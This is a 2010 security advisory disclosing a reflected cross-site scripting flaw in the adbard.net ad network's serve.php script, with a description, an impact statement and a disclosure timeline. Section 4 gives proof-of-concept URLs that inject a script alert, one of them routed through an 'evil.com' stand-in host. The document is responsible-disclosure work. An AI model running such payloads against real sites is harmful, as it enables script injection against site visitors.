Ad Bard Network Cross Site Scripting

`==============================================================================  
Ad Bard Network(adbard.net) - network-wide Cross Site Scripting Vulnerability  
==============================================================================  
  
  
1. OVERVIEW  
  
A famous advertising network for free/open-source software community,  
adbard.net, is currently vulnerable to  
Ad network-wide Cross Site Scripting vulnerability. All its  
advertising networks  
(http://adbard.net/adbard/websites) are vulnerable subsequently.  
Though the vulnerability is not tied to  
ad network sites, how it can be leveraged depends only on skills and  
well-thought plans of attackers.  
  
  
2. SITE SERVICE DESCRIPTION  
  
The Ad Bard Network is the only advertising network designed  
specifically for reaching the developers,  
architects, users and influencers in the free software community,  
allowing advertisers to directly  
communicate with the key customers in this exciting new area.  
  
  
3. VULNERABILITY DESCRIPTION  
  
The serve.php at adbard.net is vulnerable to Cross Site Scripting  
vulnerability as the "u" parameter  
is not properly sanitized. The serve.php is linked from Adbard.net's ad script  
(currently, it is 'http://cdn1.adbard.net/js/ab1.js').  
  
  
4. PROOF-OF-CONCEPT/EXPLOIT  
  
+ Cross Site Scripting (OWASP 2010 Top 10 - A2)  
  
http://adbard.net/?xss="><script>alert(/XSS/)</script>  
  
http://adbard.net/sites/default/modules/ad/serve.php?k=22e342dc6a6a99267a46f18fc5dcecf1&ab_s=18f5d31e3e39e9d3c8d5b850e79d4848&u=http://evil.com?x=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E&ab_c=103ffd7e-1ec7-b12d-d12a5ee2a828&r=  
  
http://yehg.net/lab/pr0js/advisories/sites/adbard.net/xss/xss_adbard.net-serve.php(u).jpg  
http://yehg.net/lab/pr0js/advisories/sites/adbard.net/xss/xss_adbard.net.jpg  
http://yehg.net/lab/pr0js/advisories/sites/adbard.net/xss/xss_hackingexpose.blogspot.com.jpg  
http://yehg.net/lab/pr0js/advisories/sites/adbard.net/xss/xss_coders.es.jpg  
http://yehg.net/lab/pr0js/advisories/sites/adbard.net/xss/xss_wiki.phpmyadmin.net.jpg  
http://yehg.net/lab/pr0js/advisories/sites/adbard.net/xss/xss_clamwin.com.jpg  
  
  
5. IMPACT  
  
As the adbard.net has tons of ad publishers and advertisers, attackers  
can exploit this flaw for fun and profit.  
  
  
6. VENDOR  
  
Ad Bard Network  
- http://adbard.net  
  
  
7. CREDIT  
  
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN  
Ethical Hacker Group, Myanmar.  
  
  
8. DISCLOSURE TIME-LINE  
  
08-10-2010: vulnerability discovered  
08-13-2010: contacted adbard.net and its owner Tag1 consulting via  
their support email  
08-17-2010: got reply that adbard.net's engineers were looking at the issue  
08-??-2010: vulnerablity fixed  
  
  
9. REFERENCES  
  
Original Advisory URL: http://yehg.net/lab/pr0js/view.php/[adbard.net]_xss  
OWASP Top 10 - http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project  
  
#yehg [08-18-2010]  
  
`